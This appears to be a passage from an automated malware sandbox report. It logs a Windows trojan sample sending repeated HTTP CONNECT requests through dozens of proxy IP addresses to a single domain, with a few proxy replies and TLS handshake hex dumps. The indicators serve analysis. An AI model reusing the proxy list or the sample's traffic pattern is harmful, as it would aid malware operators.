1389	192.168.2.8	52272	154.12.255.155	64560	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.280549049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.288714886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382641077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.382826090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.8	53401	58.253.210.122	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.290520906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.8	52103	51.210.45.148	36424	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.291161060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382452011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398433924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.8	52259	141.94.174.6	49675	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.291237116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695005894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.000000000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.8	52339	45.70.236.121	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.291335106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.061881065 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.8	52356	47.180.63.37	54321	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.292838097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.8	52231	45.225.207.186	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.298433065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.637136936 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 14:28:36.321914911 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.8	54221	8.213.128.90	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.298432112 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.8	54000	171.244.10.204	43012	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.376257896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.398066044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820555925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.8	54205	74.119.147.209	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.821548939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.8	54145	206.220.175.2	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.821854115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.8	52261	139.59.73.26	5350	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.821907997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.879504919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.898814917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.898144007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:59.897846937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:11.994079113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:24.022852898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.8	54067	8.213.129.15	8060	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.837806940 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.8	52294	103.81.152.10	83	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.848855972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.879504919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.898814917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.898144007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.8	52364	107.180.90.42	17153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.871870041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.879477024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.8	53998	72.217.158.202	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.875462055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.8	53825	195.158.18.236	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.875773907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.882659912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.882977962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.8	54235	187.19.127.253	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:35.945154905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.8	54244	104.200.135.46	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.042007923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.8	54239	43.251.132.133	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.054193020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.8	54245	185.40.80.143	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.054757118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.8	54238	47.243.114.192	8180	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.054867983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.8	52519	177.93.45.154	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.081497908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.415189028 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.8	54242	43.133.136.208	8800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.083669901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.8	54243	27.65.240.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.083755016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.8	53588	186.203.163.53	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.083983898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.8	52477	114.5.199.219	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.103432894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.473464012 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 14:28:41.532530069 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 88 fd 63 75 a6 2d 18 87 37 2a 11 fa 1d 4a b1 9d 46 fd f7 20 bc 24 b4 ec 2c c8 59 52 b8 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ecu-7JF $,YR,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#%w42m"gju)2kTuii5op
Feb 23, 2024 14:28:41.972999096 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 9d 89 89 9e 58 a7 8a 78 72 50 71 3a 40 5d a0 5d e8 29 a7 de be 4d 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eXxrPq:@]])MDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 14:28:41.973007917 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 14:28:41.973026991 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 14:28:41.973121881 CET	238	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y
Feb 23, 2024 14:28:42.358175993 CET	594	IN	Data Raw: 02 05 03 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 34 a4 1e b1 28 a3 d0 b4 76 17 a6 31 7a 21 e9 d1 52 3e c8 db 74 16 41 88 b8 3d 35 1d ed e4 ff 93 e1 5c 5f ab bb ea 7c cf db e4 0d d1 8b 57 f2 26 6f 5b be 17 46 68 94 37 6f 6b Data Ascii: 0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7fIUg2&p=gm=\|42njoK;7D~lF!fUl)f[w
Feb 23, 2024 14:28:43.012118101 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 ac d5 54 77 1d 4a 81 e2 b7 10 c2 ce 15 32 dc 5a e3 3b 8f 53 fb fe ed 79 93 6d 09 e0 b4 c4 9e 11 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 13 b2 d4 31 7a bf 4f de 78 dc da bc 35 93 e0 2d a6 27 fc d3 2c Data Ascii: %! TwJ2Z;Sym(1zOx5-',cE6
Feb 23, 2024 14:28:43.448481083 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1e 00 c0 2c d5 f9 b2 cc 79 2d dc cb 42 44 aa c9 0d 08 f5 6a 18 b2 76 77 01 c1 59 43 83 83 f2 1b 7b f1 24 b9 f4 72 d3 c1 f7 44 a0 32 fa 48 a6 c9 7d 17 82 b2 99 df 23 20 d0 38 a2 a5 aa ab dd 92 15 6e 21 00 c2 d0 Data Ascii: ,y-BDjvwYC{$rD2H}# 8n!>G!0dLXKP-C4X>>@4A\b,O"~dOhy\:Kdb8}z1P,W"cz(jJ5z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.8	54241	14.97.48.44	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.201904058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.8	53624	164.132.170.100	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.226862907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.255043983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.398264885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.8	52543	162.214.191.248	48346	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.227056026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.8	52742	193.30.13.18	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.227250099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.8	52494	103.76.253.66	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.256731987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.397910118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.398458004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.8	52563	91.134.140.160	9141	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.256736040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820470095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.8	52700	183.100.14.134	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.279946089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.561242104 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:36 GMT Server: Apache Content-Length: 534 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 68 65 6c 70 40 67 65 6e 69 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at help@geninetworks.com to inform them of the time this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.8	52793	154.12.253.232	57661	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:36.294542074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820425987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382702112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.491909981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
